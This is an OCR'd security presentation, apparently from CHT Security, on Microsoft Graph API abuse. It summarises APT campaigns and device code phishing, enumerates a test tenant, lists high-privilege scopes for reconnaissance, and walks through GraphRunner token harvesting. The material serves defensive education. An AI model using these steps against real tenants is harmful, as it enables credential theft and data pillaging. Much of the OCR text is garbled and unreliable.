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What is Microsoft Graph API?

* |s an API tools that can access Microsoft 365 Service, and Microsoft Entra

| & Microsoft 365
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MSOnline PowerShell modules

MICROSOFT EMTRA BLOG 2 MIN READ

Important update: Deprecation of Azure AD
PowerShell and MSOnline PowerShell
modules

krbash £

v Apr 02, 2024

In 2021, we described our plans to invest in Microsoft Graph PowerShell SDK as the PowerShell
provider for Microsoft Entra and transition away from Azure AD and MS5Online PowerShell
modules. In 2023, we announced that the deprecation of Azure AD and MSOnline PowerShell
modules would occur on March 30, 2024. We've since made substantial progress closing
remaining parity gaps in Microsoft Graph PowerShell SDK, and as of March 30, 2024, these

PowerShell modules are now deprecated:

e Azure AD PowerShell (AzureAD)
» Azure AD PowerShell Preview (AzureADPreview)
« IS Online (MSOnling)

You should migrate your scripts to Microsoft Graph PowerShell SDK as soon as possible.

Information about the retirement of these modules can be found below.

Microsoft Entra Blog - Deprecation of Azure AD PowerShell and MSOnline PowerShell modules
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Example of using Microsoft Graph API

* User Management

* Automatically add new employees to the relevant groups and send them a
welcome message.

* File Management
* Archive OneDrive files that are older than a month.

* OneNote Operations
* Create a new OneNote notebook for each new project with relevant content.

* Email Automation
e Automatically send emails based on specific conditions

e Security Enhancement
* Integrate with Al to analyze suspicious emails.
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In the past attack scenario...

w Exploit Azure MSP’s DAP/GDAP

" n T Tl ™ o —

CSE L S R S

Register an application in Entra ID.

Access the organization's emaill
through the application.
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Limit Access to the Entra Portal for Protection? \Q

Restrict access to What does this switch do?

Microsoft Entra Mo lets nonadministrators browse the Microsoft Entra administration portal.

administration portal Yes Restricts nonadministrators from browsing the Microsoft Entra administration portal.
Monadministrators who are owners of groups or applications are unable to use the Azure portal to
manage their owned resources.

What does it not do?

It doesn't restrict access to Microsoft Entra data using PowerShell, Microsoft GraphAPl, or other clients
such as Visual Studio.

It doesn't restrict access as long as a user is assigned a custom role {or any role}.

When should | use this switch?

Use this option to prevent users from misconfiguring the resources that they own.

Default user permissions - Microsoft Entra | Microsoft Learn
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https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions
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Abuse Cases of Microsoft Graph API
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North Korean APT InkySquid Infects Victims
Using Browser Exploits

AUGUST 17, 2021
by Damien Cash, Josh Grunzweig, Matthew Meltzer, Steven Adair, Tom Lancaster
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VOLEAITY // INTELLIGENCE

North Korean APT InkySquid Infects
Victims Using Browser Exploits

® CVE-2020-1380 and CVE-2021-26411
used to target victims

® BLUELIGHT malware uses
Microsoft Graph API for C2

® InkySquid corresponds to
APT37 and ScarCruft activity

Volexity - North Korean APT Inkysquid Infects Victims Using Browser Exploits



https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/
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Previously unseen attack group targets victims in the IT, telecoms, and
government sectors in espionage campaign.

A previously unseen actor, likely nation-state-backed, is targeting organizations in South Asia, with a focus on

Afghanistan, in what appears to be an information-stealing campaign using a new toolset.

The Harvester group uses both custom malware and publicly available tools in its attacks, which began in June
2021, with the most recent activity seen in October 2021. Sectors targeted include telecommunications,
government, and information technology (IT). The capabilities of the tools, their custom development, and the

victims targeted, all suggest that Harvester is a nation-state-backed actor.

New toolset deployed
The most notable thing about this campaign is the previously unseen toolset deployed by the attackers.

The attackers deployed a custom backdoor called Backdoor.Graphon on victim machines alongside other
downloaders and screenshot tools that provided the attackers with remote access and allowed them to spy on

user activities and exfiltrate information.

We do not know the initial infection vector that Harvester used to compromise victim networks, but the first
evidence we found of Harvester activity on victim machines was a malicious URL. The group then started to
deploy various tools, including its custom Graphon backdoor, to gain remote access to the network. The group
also tried to blend its activity in with legitimate network traffic by leveraging legitimate CloudFront and

Microsoft infrastructure for its command and control (C&C) activity.

Tools used:

+ Backdoor.Graphon - custom backdoor that uses Microsoft infrastructure for its C&C activity

 Custom Downloader - uses Microsoft infrastructure for its C&C activity

Symantec Enterprise Blogs - harvest new apt attacks asia
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https://www.security.com/threat-intelligence/harvester-new-apt-attacks-asia
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Prime Minister’s Office Compromised: Details of
Recent Espionage Campaign

By Marc Elias - January 25, 2022

A special thanks to Christiaan Beek, Alexandre Mundo, Leandro Velasco and Max Kersten for malware analysis
and support during this investigation.

Executive Summary

Our Advanced Threat Research Team have identified a multi-stage espionage campaign targeting high-
ranking government officials Western Asia and Eastern Europe. As we detail the technical components of this
attack, we can confirm that we have undertaken pre-release disclosure to the victims and provided all
necessary content required to remove all known attack components from their environments.

The infection chain starts with the execution of an Excel downloader, most likely sent to the victim via email,
which exploits an MSHTML remote code execution vulnerability (CVE-2021-40444) to execute a malicious
executable in memory. The attack uses a follow-up piece of malware called Graphite because it uses
Microsoft's Graph API to leverage OneDrive as a command and control server—a technigue our team has not
seen before. Furthermore, the attack was split into multiple stages to stay as hidden as possible.

Command and control functions used an Empire server that was prepared in July 2021, and the actual
campaign was active from October to November 2021. The below blog will explain the inner workings,
victimology, infrastructure and timeline of the attack and, of course, reveal the I0Cs and MITRE ATTACK
techniques.

A number of the attack indicators and apparent geopolitical objectives resemble those associated with the
previously uncovered threat actor APTZ28. While we don’t believe in attributing any campaign solely based on
such evidence, we have a moderate level of confidence that cur assumption is accurate. That said, we are

Trellix - Prime Ministers Office Compromised

14


https://www.trellix.com/blogs/research/prime-ministers-office-compromised/
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e Graphican: Flea Uses New Backdoor

Symantec

Backdoor leverages Microsoft Graph API for C&C communication.

sHarRe EJ €

The Flea (aka APT15, Nickel) advanced persistent threat (APT) group continued to focus on foreign ministries in
a recent attack campaign that ran from late 2022 into early 2023 in which it leveraged a new backdoor called

Backdoor.Graphican.

This campaign was primarily focused on foreign affairs ministries in the Americas, although the group also
targeted a government finance department in a country in the Americas and a corporation that sells products in
Central and South America. There was also one victim based in a European country, which was something of an
outlier. This victim had also previously suffered a seemingly unrelated ransomware attack in July 2022.
However, the primary focus of the campaign observed by the Threat Hunter Team at Symantec, part of

Broadcom, does appear to be on ministries of foreign affairs in the Americas.

Flea has a track record of honing in on government targets, diplomatic missions, and embassies, likely for

intelligence-gathering purposes.

Symantec - Flea Uses New Backdoor
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https://www.security.com/threat-intelligence/flea-backdoor-microsoft-graph-apt15
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Graph: Growing number of threats

Threat Hunter Team

Symantec
- 4 Graph API is often used for inconspicuous communications to cloud-based
in command-and-control servers.
E An increasing number of threats have begun to leverage the Microsoft Graph API, usually to facilitate
& communications with command-and-control (C&C) infrastructure hosted on Microsoft cloud services.

The technigque was most recently used in an attack against an organization in Ukraine, where a previously

undocumented piece of malware used the Graph API to leverage Microsoft OneDrive for C&C purposes.

BirdyClient

The malware found in Ukraine appeared to be named BirdyClient or OneDriveBirdyClient by its developers
because references to both names were found in its code. Its file name—vxdiff.dll—was the same as a legitimate
DLL associated with an application called Apoint (apoint.exe), which is driver software for Alps pointing
devices, usually found in laptops. Whether the malware was simply masguerading as a legitimate file or

whether it was being sideloaded by Apoint remains unknown.

Symantec - Graph Api Threats

16


https://www.security.com/threat-intelligence/graph-api-threats
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Research Threat intelligence Microsoft Defender Social engineering / phishing - 10 min read

Storm-2372 conducts device code
phishing campaign

By Microsoft Threat Intelligence

February 13, 2025

UPDATE (February 14, 2025): Within the past 24 hours, Microsoft has‘
f

observed Storm-2372 shifting to using the specific client ID for Microsoft

S Authentication Broker in the device code sign-in flow.

Microsoft Entra Executive summary:

Microsoft Entra ID Protection

Today we're sharing that Microsoft discovered cyberattacks being launched
by a group we call Storm-2372, who we assess with moderate confidence
aligns with Russia’s interests and tradecraft. The attacks appear to have
been ongoing since August 2024 and have targeted governments, NGOs,
and a wide range of industries in multiple regions. The attacks use a specific
phishing technique called “device code phishing” that tricks users to log into

Microsoft Security Blog - Storm-2372 conducts device code phishing campaign



https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/

Device Code Phishing \Q FREAZER

Victim enter device code, and
Sign-in to M365

Attacker asks server
for device code

Server generate the acecess token

Polls for token

Attacker send the phishing with
device code to victim

Attacker access Microsoft Graph
APl with access token.
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Jan 30., Thu

Hello Mr. [N
My name is [N 1 o

aresearcher at the International
Institute for Strategic Studies.
From February 24 to 26, the
Institute is holding a
videoconference on the topic
"The future of security in
Europe." We invite you to take
partinit.

Kind regards,
Associate Fellow for Conflict,

Security and Development, 1ISS
10:53

Nice to hear1.”2"2% ™" 14 you

aregistration link by email. After
registration, | will send you all

the necessary information about
the video conference. 13:27

Jan 31., Fri

Dear-, would it be

convenient for you if | sent the
link and details now? 12:14

Dea-l can register you

now if it is convenient for you.
12:08

Perfect, thank you! Please, send

the information / registration

form to my official email address
(I need it there

tor the sake of transparency, as
this is my private number) Thank

you again! 12:11 @
I sent you a registration link and

a Security ID for access. For

security reasons, the ID is valid

for 15 minutes, if you do not

have time to enter it, | will send it
again. 12:30

BT Microsoft

Microsoft Teams needhelp?

Join the meeting
Meeting : 685 318 885 965

ID:CMUZKISCW

For organizers: Meeting options

Enter code to allow access

Once you enter the code displayed on your app or

device, it will have access to your account.

Do not enter codes from sources you don't trust.

(]
(

Next

Microsoft Security Blog - Storm-2372 conducts device code phishing campaign

19


https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/

b # 8 &K
CHT Security

N

Using Microsoft Graph API

e Postman

* Microsoft Graph PowerShell SDK
» Useful Scopes
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Using Microsoft Graph API

e Postman
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Fork the Microsoft Graph Postman collection N

@ Microsoft Graph ] Microsoft Graph

(W) Microsoft Graph ‘Y Fork 70.5k B.1k Share
Collections
~ Microsoft Graph
Overview
> B Get started

» | Delegated

> =] Application Creator

_ Microsoft Graph
v EIlEE @ Microsoft Graph &
ET v1.0 $metadata
GET beta $metadata is the unified API for modern work. It is the gateway to data and intelligence Category

in Microsoft 365. Use the wealth of data in Microsoft Graph to build apps for organizations — -
> Microsoft Graph iy k ) B - Developer Productivity
and consumers that interact with millions of users.

Microsoft Graph supports , delegated access and app-only access. In Popular requests
delegated access, the app calls Microsoft Graph on behalf of a signed-in user. In app-only 6T Get users
access, the app calls Microsoft Graph with its own identity, without a signed in user.

In this collection, you can try out both delegated and application API calls. #T v1.0 Smetadata

GET Get a user's messages

To Get Started

into your workspace to get started with the Microsoft Graph APIs. For T S

more details on how to use Postman with the Microsoft Graph APls, see our step-by-step
guide 2 #T Get sites

Microsoft Graph APl documentation

See the full APl documentation




o EE Z H R
\g CHT Security

23

Create a Microsoft Entra application

Home > App registrations >

Register an application

* Name

The user-facing display name for this application (this can be changed later).

for postman v

Supported account types

Who can use this application or access this API?
@ Accounts in this organizational directory only (Win for Win only - Single tenant)
O Accounts in any organizational directory (Any Microsoft Entra ID tenant - Multitenant)

O Accounts in any organizational directory (Any Microsoft Entra ID tenant - Multitenant) and personal Microsoft accounts (e.g. Skype,
Xbox)

O Personal Microsoft accounts only

Help me choose...

https://learn.microsoft.com/en-us/graph/use-postman
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Configure authentication N

@ Delegated Welcome to Flows! @ M365 Environment = N No environment

W) M365 Environment 26k

Collections

Bl Q

Environments
Variable Type Initial value Current value

oG

Flows

ClientlD default Set value in "Current value", not "Initita... Set value in "Current value", not "Initital value"
TenantID default Set value in "Current value", not "Initita... Set value in "Current value", not "Initital value"
D
History ClientSecret secret S0 e 00000 erte0eienssecesesseees $00000000000000000008000000000000C000000800000000S8
Messageld default Set value in "Current value", not "Initita... Set value in "Current value", not "Initital value"
Userld default Set value in "Current value", not "Initita... Set value in "Current value", not "Initital value"
Today default Set value in "Current value", not "Initita... Set value in "Current value", not "Initital value"
NextWeek default Set value in "Current value", not "Initita... Set value in "Current value", not "Initital value"
Eventld default Set value in "Current value", not "Initita... Set value in "Current value", not "Initital value"
Calendarld default Set value in "Current value", not "Initita... Set value in "Current value", not "Initital value"

Teamld default Set value in "Current value", not "Initita... Set value in "Current value", not "Initital value"

Channelld default Set value in "Current value", not "Initita... Set value in "Current value", not "Initital value"
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https://graph.microsoft.com/v1.0/me

Params Authorization Headers (7) Body Scripts Settings
Query Params
Key
Body Cookies Headers (12) Test Results D)
{} JSON v [ pPreview {9 Visualize ~

4

"@odata.context": "https://graph.microsoft.com/vl.0/%$metadataftusers/$entity"

"businessPhones": [

“425-555-0100"
1 5
"displayName": "MOD Administrator",
"givenName": "MOD",
"jobTitle": null,
"mail": "admini 3.onmicrosoft.com",
"mobilePhone": "4 =",
"officeLocation": null,
"preferredLanguage"”: "
"surname": "Administrator",
"userPrincipalName"”: "admin(="m .onmicrosoft.com",

"id": "3dL | F6"
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me
users

Params Authorization

Query Params

Key

Body Cookies Headers (12) Test Results ¢

https://graph.microsoft.com/v1.0/users

Headers (7) Body Scripts

D)

L)
p—

{} JSON v > Preview {9 Visualize

T

"businessPhones": [],
"displayName": "Conf Room Adams",
"givenName": null,
"jobTitle": null,
"mail": "Adams(
"mobilePhone" : null,
"officelLocation": null,
"preferredlLanguage”: null,
"surname": null,

"Ad

"userPrincipalName":

] ici n : 1] I:_-:] ‘-__‘ -

.0nMicrosoft.com",

Settings

mm_ (OnMicrosoft.com",
e f1£"
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https://graph.microsoft.com/v1.0/me/messages

Y Params Authorization Headers (8) Body Scripts
me

* users
* mesSsages

Query Params

Key

Body Cookies Headers (9) Test Results

{} JSON ~ > Preview (¢ Visualize

i
"@odata.context": "https://graph.microsoft.com/vl.0/$metadatai
"value": [

1

"@odata.etag": AAADnmd4NgaqTToSholxr+/4QjAAAdJeD

"id":
'AAMKADI2YWUL1YZzBLLTRiYJFEENDIYyZCO4ZTY3LWFmNWYIMDQzNDQWOABGA
nmd4NgagTToSholr_

"createdDateTime": "2025

"lastModifiedDateTime": "2025-02-04T01:26:032"

"changeKey": "CQAAABYAAADnmd4NgaqTToSholr+/4QjAA

"categories": [],

"receivedDateTime":

"sentDateTime": "2025-(

"hasAttachments": false,

"internetMessageId": "<209c

"subject": "Microsoft Entra

"bodyPreview": "See your Microsoft Entr

| yso\r\n\r\nNew risky users
Wxr\n\x\n\xr\nDic

‘normal
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https://graph.microsoft.com/v1.0/security/alerts

I I I Params Authorization Headers (7) Body Scripts Settings

users
{} JSON ~ > Preview {9 Visualize
MeSSages 1 g
“@odata.context": "https://graph.microsoft.com/v1
alerts R T

i

Body Cookies Headers (47) Test Results D) 206 Partial Content 3.77 s

"id": "30ba B ) - -
"azureTenantId": " ("™ i &
"azureSubscriptionId": null,
"riskScore": null
"tags": [],

"activityGroupName": null,
"assignedTo": null,

'

"category"”: "UnfamiliarlLocation

"closedDateTime": null,

"comments": [],

"confidence": null,

"createdDateTime": "2025-01-16T04:08:05.31592572",

"description": "The following properties of
Location, EASId, TenantIPsubnet",

"detectionIds": [],

"eventDateTime": "2025-01-16T04:08:05.3

"feedback": null,

"incidentIds": [],

"lastEventDateTime": null,

"lastModifiedDateTime": "2025-01-16T10:09:16.797883¢

"recommendedActions": [],

"severity": "medium",

"sourceMaterials": [],

"status": "newAlert",
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Using Microsoft Graph API

* Microsoft Graph PowerShell SDK



Microsoft Graph PowerShell SDK
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Install Module for all user

LpS> Install-Module Microsoft.Graph
PSGallery

AllUsers

30



Microsoft Graph PowerShell SDK
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Install-Module
Connect-MgGraph

LpS> Install-Module Microsoft.Graph
PSGallery

Lps> Connect-MgGraph

"User.Read.All", "Group.ReadWrite.Al1“

AllUsers

31
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* |nstall-Module
* Connect-MgGraph

RS Microsoft

admin@ onmicrosoft.com

Permissions requested

Microsoft Graph Command Line Tools
Microsoft Corporation €

This app would like to:
~~ Read all users' full profiles

~ Read and write all groups

~ Maintain access to data you have given it access to

Consent on behalf of your organization

If you accept, this app will get access to the specified resources for
all users in your organization. Mo one else will be prompted to
review these permissions.

Accepting these permissions means that you allow this app to use
your data as specified in their terms of service and privacy
staternent. You can change these permissions at https://
myapps.microsoft.com. Show details

Does this app look suspicious? Report it here

LpS> Install-Module Microsoft.Graph AllUsers
PSGallery

Lps> Connect-MgGraph

"User.Read.All", "Group.ReadWrite.Al1“

Welcome to Microsoft Graph!

Connected via delegated access using 14d82eec-204b-4c2f-
b7e8-296a70dab67e

Readme: https://aka.ms/graph/sdk/powershell

SDK Docs: https://aka.ms/graph/sdk/powershell/docs

API Docs: https://aka.ms/graph/docs

NOTE: You can use the -NoWelcome parameter to suppress
this message.

32
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Listing all users §

L-pS> Get-MgUser

DisplayName Id Mail UserPrincipalName

Conf Room Adams 9a68e€191-95b3-4ed4-bb74-23995df6aflf AdamsagWWLx688808.0nMicrosoft.com AdamsaWwWLx688808.0...
Adele Vance d1dbd5d1-f3dd-41c1-ad59-55544e25c672 AdeleVQWWLx688808.0nMicrosoft.com AdeleVaQWWLx688808....
MOD Administrator 3d15f82c-9c3d-407e-aa99-79bb9c0lcaf6 admingWWLx688808.onmicrosoft.com adminWWLx688808. ...
Alex Wilber 789c8a58-5038-4d60-8d3c-bcd6f629f36b AlexWaWWLx688808.0nMicrosoft.com AlexWaWwWLx688808.0...
Allan Deyoung 8be5bdd4a-94a4-452d-8013-44a6a5e8360f AllanDaWWLx688808.0nMicrosoft.com AllanDQWWLx688808...
Automate Bot 0924761c-63a5-4ee4-8dd3-5¢c5¢c6f3847c3 AutomateBaWWLx6888...
Conf Room Baker 5ale72c0-835d-43eb-830c-0a5dcc847345 BakergWwWLx688808.0nMicrosoft.com BakergwwLx688808.0...
Bianca Pisani 18fc989f-5225-491d-91a4-12189e382a2b BiancaPQWWLx688808...
Brian Johnson (TAILSPIN) ec453f60-74a9-493b-9d2b-d04be54497d2 BrianJQWWLx688808.0nMicrosoft.com BrianJQWWLx688808...
Cameron White fd393685-83e2-4703-a5c6-d2375b654cff CameronWawWwLx68880...
Christie Cline 212d9614-ed06-48b5-a48f-88833621e37e ChristieCqWWLx688808.0nMicrosoft.com ChristieCQWWLx6888..
Conf Room Crystal 5f15ce8d-6945-4508-b4ab-eecc4503a143 CrystalaWwWwLx688808.0nMicrosoft.com CrystalaWwLx688808..
Debra Berger 98529301-4bcb-4842-8a67-701eb16c5d0a DebraBaWWLx688808.0nMicrosoft.com DebraBaWwLx688808. ..
Delia Dennis 486c50ff-c3f5-48b8-825e-b2a82ab3b768 DeliaDaWWLx688808...
Diego Siciliani 70e7d607-4217-40f0-a5a7-b64al75ca84b DiegoSaWWLx688808.0nMicrosoft.com DiegoSaWWLx688808...
Gerhart Moller b8640eel-1e16-4456-9494-2a77cd680296 GerhartMawwLx68880...
Grady Archie b82bde9f-73b3-4509-aefd-636419a599b6 GradyAqQWWLx688808.0nMicrosoft.com GradyAqQWwwLx688808....
Conf Room Hood 5c780fal-cd6f-4185-8cc4-c518f8ab75ea HoodaWWLx688808.0nMicrosoft.com Hood@QWWLx688808.0n...
Irvin Sayers 718a3614-bbd6-4742-93dc-9d5bfa686b9d IrvinSaWWLx688808.0nMicrosoft.com IrvinSaQWwWLx688808...
Isaiah Langer 832e0883-154a-48d9-8d40-c55872303c3e IsalahlLaWwWLx688808.0nMicrosoft.com  IsaiahLaQWwLx688808..
Johanna Lorenz 826503fa-0c9b-451e-896e-a94a677c2a57 Johannal@WwWLx688808.0nMicrosoft.com JohannalLaWwLx68880..
Joni Sherman 8f5a423a-675d-4e7d-b2d1-fb781e340c17 JoniSaQWWLx688808.0nMicrosoft.com JoniSQWwLx688808.0...
Lee Gu 54307364-add4-409a-95b3-16a8chba43eb6 LeeGaWWLXx688808.0nMicrosoft.com LeeGQWWLx688808.0n...
Lidia Holloway 09c9433f-26bc-4890-a278-c279d242e08a Lid1aHaWWLx688808.0nMicrosoft.com LidiaHQWWLx688808...
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Listing Groups

Lps> Get-MgGroup

DisplayName Id MailNickname Description GroupTypes
All Company 31d8caec-56d4-4d0c-8f2b-aaa4c6929111 allcompany This is the default group for everyone

RD 51dbb53e-d5c4-4d5e-8512-aaa09c31el11l1 RD group for RD user.

HR 555c3ebb-4c70-4571-bcf5-aaad98759111 HR group for HR user.

Marketing  6a6b84b3-5dcd-4411-bf81-aaal825a7111 Marketing group for Marketing user.

IT Team 8234f176-cebl-4e5b-afe8-aaa23a3e0111 ITTeam group for IT Team user.

AzureAdmin 83098263-32cf-46a6-98ad-aaaebe57c111 ce876888-3 Group for Azure admin
EntraAdmin fafl264a-4bdf-45fc-b282-aaa8b6dfelll 72f9084e-0

Listing Groups a User Belongs To
L-pS> Get-MguserMemberOfAsGroup -UserId "929ca37b-fd29-45ca-b6f6-11170bbalaaa”
DisplayName Id MailNickname Description GroupTypes

IT Team 8234f176-ceb6l-4e5b-afe8-aaa23a3e0111 ITTeam
AzureAdmin 863dbcf3-3062-4fa7-8c79-aaa2ae38f111 03edcedb6-2
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Listing Applications and Organization Info

Listing Applications

L-pS> Get-MgApplication

DisplayName Id SignInAudience PublisherDomain

LinkedIn 7ef11902-d02f-447e-8d51-4152102cd78e bbcb8103-ed05-4593-9cc4-5f48dfea5f48 AzureADMyOrg  WWLx688808.
Salesforce 85ffb56Cc-a5c8-4806-84f1-2fa26e169e61 4e693ca7-9293-4c19-b9c7-3b25f70946b9 AzureADMyOrg  WWLx688808
Box 9fadcdb7-d998-4911-aeac-7bf08cch67bc eebl9abe-labl-4f2f-86d6-bab23b6aeb44 AzureADMyOrg  WWLx688808
EXO_App2025 <c1lc0lbbb-5ale-4b30-8e6d-e28798525cbhbf 516afe8a-4fab-4142-9657-€9326c3e3658 AzureADMyOrg  WWLx688808.
BrowserStack db0f217a-d7b7-4d49-a2b5-66d9a7697505 5e88143e-c687-4e2c-9a8c-877f7ee3f018 AzureADMyOrg  WWLx688808.

Listing Organization Info

Lps> Get-MgOrganization | Format-List Id, DisplayName, VerifiedDomains

Id : 9c39cccb6-6919-4647-a0a0-aaa267dd4111

DisplayName : The test Tenant
VerifiedDomains : {qqgxxxzzz.onmicrosoft.com}

.onmic..
.onmic..

onmic...
onmic...
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 Useful Scopes



o & ZE R

CHT Security

Reconnaissance

https://graph.microsoft.com/v1.0/groups

Params ) Headers (8) y Scripts

Body

Organization.Read.All
User.Read.All (3 Json ~

1 1
"@odata.context":

Application.Read.All S

s
T

&l

RoleManagement.Read.Directory el

"createdDateTime":

"creationOptions":
GroupMember.Read.All
"displayName": "Finance T
"expirationDateTime": null,
"groupTypes": [],
"isAssignableToRole": null
"mail": "FinanceTean
"mailEnabled":
"mailNickname": "FinanceT
"membershipRule": null,
"membershipRuleProcessingState":
"onPremisesDomainName": null,
"onPremisesLastSyncDateTime": null,
"onPremisesNetBiosName": null,
"onPremisesSamAccountName": null,
"onPremisesSecurityIdentifier": null,
"onPremisesSyncEnabled": null,
"preferredDatalocation": null,
"preferredlLanguage": null,

"proxyAddresses": [

O =
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POST

Params

Application.ReadWrite.All
RoleManagement.Read.Directory
User.Invite.All

none

1 4

RoleManagement.ReadWrite.Director
y

AppRoleAssignment.ReadWrite.All

Eolcilcy.ReadWrite.AuthenticationMet
0

Organization.ReadWrite.All

U?A‘e”rAuthenticationI\/Iethod.ReadWrit
e.

Directory.AccessAsUser.All

Authorization Headers

User.Manageldentities.All

https://graph.microsoft.com/v1.0/applications

(10) Body Scripts Settings

form-data x-www-form-urlencoded @ raw binary GraphQL

"displayName": "My App'

Headers (13) Test Results

> Preview v Visualize

“@odata.context": "
"id": "cf
"deletedDateTime": null,
ba9401

"applicationTemp

“"appId":

"disabledByMicro

"group hipClaims": null,
"identifierUxris": [],

"isDeviceOnlyAuthSupported": null,
"isFallbackPublicClient": null,
"nativeAuthenticationApisEnabled": n
"notes": null,

“publisherDomain”:
"serviceManagementReference": null,
"signInAudience": "AzureADMyOrg'
"tags": [],

"tokenEncryptionKeyId": null,
"uniqueName": null,
"samlMetadataUrl": null,
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B PR

Site.Read.All

Files.Read.All
Notes.Read.All
MailboxFolder.Read.All
MailboxSettings.ReadWrite

Params
Body C

{} JSON v

https://graph.microsoft.com/v1.0/sites?search=contoso

'createdDateTime":
"id": .share
"lastModifiedDateTime" :
"name": " Webl",
"webUrl":
"displayName" :

"root": {3%,
"siteCollection": $
"hostname": 'm

"createdDateTime":
“id": L]

"lastModifiedDateTime" :

"name" :

"webUrl":
"displayName" :
"root": {},
"siteCollection":

"hostname" :

"createdDateTime":

"description": "®

Bl ard+MAds £5 AdNa+ AT
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What is GraphRunner?

* Create by Beau Bullock & Steve Borosh

* |s a post-exploitation toolset for interacting with the Microsoft Graph
API.

* |t provides various tools for performing reconnaissance, persistence, and
pillaging of data from a Microsoft Entra ID (Azure AD) account.

* |t consists of three separate parts:
* A PowerShell script where the majority of modules are located
* A HTML GUI that can leverage an access token to navigate and pillage a user's
account
* Asimple PHP redirector for harvesting authentication codes during an OAuth flow
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Using GraphRunner g

Lps> Git clone https://github.com/dafthack/GraphRunner.git
LpS> cd .\GraphRunner\
LpS> Import-Module ./GraphRunner.psl
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Using GraphRunner \Q

Lps> Git clone https://github.com/dafthack/GraphRunner.git
LpS> cd .\GraphRunner\
LpS> Import-Module ./GraphRunner.psl

| ___1_1I |___/ /1 /

Do service principals dream of electric sheep?

For usage information see the wiki here: https://github.com/dafthack/GraphRunner/wiki
To list GraphRunner modules run List-GraphRunnerModules

Lps>
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Using GraphRunner \Q

Lps> Git clone https://github.com/dafthack/GraphRunner.git
LpS> cd .\GraphRunner\
LpS> Import-Module ./GraphRunner.psl

| ___1_1I |___/ /1 /

Do service principals dream of electric sheep?

For usage information see the wiki here: https://github.com/dafthack/GraphRunner/wiki
To list GraphRunner modules run List-GraphRunnerModules

Lps> Get-GraphTokens




Using GraphRunner \Q TREAZER

Lps> Git clone https://github.com/dafthack/GraphRunner.git

LpS> cd .\GraphRunner\
LpS> Import-Module ./GraphRunner.psl

I |___/ M ___ | _/___1_

Do service principals dream of electric sheep?

For usage information see the wiki here: https://github.com/dafthack/GraphRunner/wiki
To list GraphRunner modules run List-GraphRunnerModules

Lps> Get-GraphTokens
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code HXPGVSSMF to

authenticate.
authorization_pending
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Using GraphRunner g

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code HXPGVSSMF to
authenticate.




authorization_pending
Decoded IWT payload:

aud

iss

lat

nbf

exp

acct

acr

ailo

amr
app_displayname
appid
appidacr
family_name
given_name
idtyp
ipaddr
name

oid

platf

puid

rh

scp

sub
tenant_region_scope
tid

https://graph.microsoft.com
https://sts.windows.net/c2ac0170-13c3-47ad-9055-c499bb7750c8/
1737098588

1737098588

1737106911

0

1

. ATQAY/8ZAAAAA9h40JIrNb4ILB1/N4BbBG/WkTgDtB7cqqMGOhbytgNUdmIdhPoQQkf3jY/XWiwet

{pwd}

: Microsoft Office

d3590ed6-52b3-4102-aeff-aad2292ab01c
0

: Administrator
: MOD

user
2XX.7X.1IX.X

: MOD Administrator
: 3d15f82c-9c3d-407e-a2a99-79bb9cOlcafb

5
100320042231988D
1.AWEBCAGswsMTrUeQVcSZu3dQyAMAAAAAAAAAWAAAAAAAAABIASZhAQ.

: AuditLog.Create AuditlLog.Read.All Calendar.ReadWrite Calendars.Read.Shared

Calendars.ReadWrite Contacts.ReadWrite DatalLossPreventionPolicy.Evaluate
Directory.AccessAsUser.All Directory.Read.All Files.Read Files.Read.All
Files.ReadWrite.All Group.Read.All Group.ReadWrite.All
InformationProtectionPolicy.Read Mail.ReadWrite Mail.Send Notes.Create
Organization.Read.All People.Read People.Read.All Printer.Read.All
PrinterShare.ReadBasic.All PrintJob.ReadWriteBasic SensitiveInfoType.Detect
SensitiveInfoType.Read.All Sensitivitylabel.Evaluate Tasks.ReadWrite
TeamMember.ReadWrite.All TeamsTab.ReadWriteForChat User.Read.All
User.ReadBasic.All User.ReadWrite Users.Read
FQDYLQRLONfIO_nzqYiMxoS7Hvv2psY0Jdo04sKZ9Vs

AN

c2ac0170 13c3-47ad- 9055 c499bb7750c8



appidacr
family_name
given_name
idtyp
ipaddr
name

oid

platf

puid

rh

scp

sub
tenant_region_scope
tid

unique_name

upn

uti

ver

wids

xms_idrel
xms_tcdt

[*] Successful authentication.
GraphRunner modules use the Tokens flag (Example.
[!'] Your access token is set to expire on:

A507VU€EU0-04ZDo-41U/Z-d€TT-ddlZ272400U1C
0

: Administrator
: MOD

user
2XX.7X.1IX.X

: MOD Administrator
: 3d15f82c-9c3d-407e-a2a99-79bb9cOlcafb

5
100320042231988D
1.AWEBCcAGswsMTrUeQVcSZu3dQyAMAAAAAAAAAWAAAAAAAAABIASZhAQ.

: AuditLog.Create AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared

Calendars.ReadWrite Contacts.ReadWrite DatalLossPreventionPolicy.Evaluate
Directory.AccessAsUser.All Directory.Read.All Files.Read Files.Read.All
Files.ReadWrite.All Group.Read.All Group.ReadWrite.All
InformationProtectionPolicy.Read Mail.ReadWrite Mail.Send Notes.Create
Organization.Read.All People.Read People.Read.All Printer.Read.All
PrinterShare.ReadBasic.All PrintJob.ReadWriteBasic SensitiveInfoType.Detect
SensitiveInfoType.Read.All Sensitivitylabel.Evaluate Tasks.ReadWrite
TeamMember.ReadWrite.All TeamsTab.ReadWriteForChat User.Read.All
User.ReadBasic.All User.ReadWrite Users.Read
FQDYLQRLONfIO_nzqY1iMx0oS7Hvv2psY0Jdo04sKZ9Vs

AN

€2ac0170-13¢c3-47ad-9055-c499bb7750c8

admingWwLx688808.onmicrosoft.com

admingWwLx688808.onmicrosoft.com

: WWOWKSysz0iiDRDiZsKaAA

1.0
{62€90394-69f5-4237-9190-012177145e10,
b79fbf4d-3ef9-4689-8143-76b194e85509}
1 16

1734695283

194ae4cb-b126-40b2-bd5b-6091b380977d,

Invoke-DumpApps -Tokens $tokens)
01/17/2025 17:41:51

Access and refresh tokens have been written to the global $tokens variable. To use them with other



app_displayname : Microsoft Office
appid : d3590ed6-52b3-4102-aeff-aad2292ab01c



family_name
given_name
idtyp
ipaddr

name

oid

: Administrator
: MOD

user
2XX.7X.1IX.X

: MOD Administrator
: 3d15f82c-9c3d-407e-a2a99-79bb9cOlcafb



